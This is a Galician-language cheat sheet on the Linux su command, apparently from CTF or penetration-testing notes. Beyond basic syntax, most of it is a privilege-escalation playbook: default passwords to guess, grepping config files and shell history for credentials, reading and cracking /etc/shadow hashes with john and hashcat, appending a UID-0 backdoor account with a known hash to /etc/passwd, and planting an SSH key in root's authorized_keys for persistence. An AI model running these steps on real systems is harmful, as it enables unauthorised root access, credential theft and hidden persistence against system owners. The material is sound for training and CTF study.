su - Cambiar de Usuario (Switch User)
Descrición
Comando para cambiar ao usuario root ou a calquera outro usuario do sistema. Require coñecer o contrasinal do usuario obxectivo.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
- ou -l |
Simular login completo (cargar entorno do usuario) |
-c <comando> |
Executar comando como outro usuario |
-s <shell> |
Especificar shell a usar |
-p |
Preservar o entorno actual |
-m |
Non cambiar variables de entorno |
Exemplos de uso
Cambiar a root
# Cambiar a root (mantén algunhas variables de entorno)
su
# Cambiar a root con login completo (recomendado)
su -
su -l
# Executar comando como root sen cambiar de usuario
su -c "whoami"
su -c "cat /etc/shadow"
Cambiar a outro usuario
# Cambiar ao usuario john
su john
su - john
# Executar comando como john
su john -c "whoami"
su - john -c "id"
Con shell específica
Uso en escalada de privilexios
Contrasinais atopados
# Se atopaches un contrasinal de root
su -
# Introducir contrasinal
# Verificar acceso
whoami
id
# Se atopaches contrasinal doutro usuario
su - john
# Verificar se ese usuario ten sudo
sudo -l
Contrasinais comúns a probar
# Contrasinais por defecto ou febles
su -
# Probar:
# password
# root
# toor
# admin
# 123456
# password123
# (nome da máquina)
# (nome do usuario)
# Se hai lista de contrasinais (wordlist)
# Usar hydra ou script personalizado
Despois de atopar credenciais
# 1. Atopar credenciais (exemplos)
cat /var/www/html/config.php | grep password
grep -r "password" /home/ 2>/dev/null
cat ~/.bash_history | grep -i pass
# 2. Probar credenciais con su
su -
# ou
su - otheruser
# 3. Verificar privilexios
id
sudo -l
groups
# 4. Se o usuario ten sudo
sudo su -
# ou
sudo /bin/bash
Diferenza entre su e su -
# su (sen guión)
# - Cambia usuario pero mantén algunhas variables de entorno
# - PWD non cambia
# - PATH pode non cambiar completamente
su
pwd # Segue no directorio anterior
# su - (con guión)
# - Login completo, carga todo o entorno do usuario
# - Cambia a HOME do usuario
# - Carga .bashrc, .profile, etc.
su -
pwd # Está en /root ou /home/usuario
Combinación con outras técnicas
Despois de atopar hash en /etc/shadow
# 1. Extraer hash
cat /etc/shadow | grep root
# root:$6$xyz...:18000:0:99999:7:::
# 2. Crack con john ou hashcat
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 hash.txt rockyou.txt
# 3. Usar contrasinal crackeado
su -
# Introducir contrasinal
Reutilización de contrasinais
# Se coñeces o contrasinal dun usuario
su - user1
password123
# Probar mesmo contrasinal para root ou outros usuarios
su -
password123
su - user2
password123
Despois de modificar /etc/passwd
# Se /etc/passwd é escribible (escalada de privilexios)
# Crear novo usuario con UID 0 (root)
echo 'hacker:$1$hacker$TzyKlv0IXct/aiFBr2FVQP.:0:0:root:/root:/bin/bash' >> /etc/passwd
# Contrasinal: hacker123
# Cambiar ao novo usuario
su hacker
Verificar acceso
# Despois de facer su
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
# Ler flag ou ficheiros sensibles
cat /root/root.txt
cat /etc/shadow
# Establecer persistencia
cat ~/.ssh/id_rsa
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
Erros comúns e solucións
# "su: Authentication failure"
# - Contrasinal incorrecto
# - Probar con outros contrasinais atopados
# - Verificar se o usuario existe: cat /etc/passwd | grep username
# "This account is currently not available"
# - Usuario ten shell /usr/sbin/nologin ou /bin/false
# - Solución: su -s /bin/bash username
# "su: cannot open session: Permission denied"
# - Problemas con PAM
# - Verificar /etc/security/limits.conf
# Non pide contrasinal
# - Xa estás como root
# - PAM mal configurado (pouco común)
Alternativas a su
# sudo (se o usuario está en sudoers)
sudo -i
sudo su -
sudo /bin/bash
# Login directo (se tes acceso físico/SSH)
ssh root@localhost
# Exploits de kernel (se non hai credenciais)
# DirtyCow, etc.
Workflow completo de escalada
# 1. Enumeración - buscar credenciais
grep -r "password" /var/www/ 2>/dev/null
cat ~/.bash_history
cat /var/log/auth.log
# 2. Atopar credenciais
# user: admin
# pass: Welcome123
# 3. Probar con su
su admin
# Introducir: Welcome123
# 4. Verificar privilexios
sudo -l
# Pode executar sudo sen contrasinal!
# 5. Escalar a root
sudo su -
# 6. Verificar acceso root
whoami
id
cat /root/root.txt
Notas adicionais
surequire coñecer o contrasinal do usuario obxectivo- Usar sempre
su -para login completo (recomendado) - Se non funciona
su -, probar consua secas - Revisar
/etc/passwdpara ver que usuarios teñen shell válida - Usuarios con
/sbin/nologinou/bin/falsenon poden iniciar sesión normalmente - Contrasinais atopados en ficheiros de configuración adoitan reutilizarse
- Sempre verificar
/var/log/auth.logpara ver intentos de autenticación - En CTFs, os contrasinais adoitan estar en ficheiros de configuración ou backups
- Combinar con
sudo -ldespois de cambiar de usuario surexistra os intentos en/var/log/auth.log
Máis información...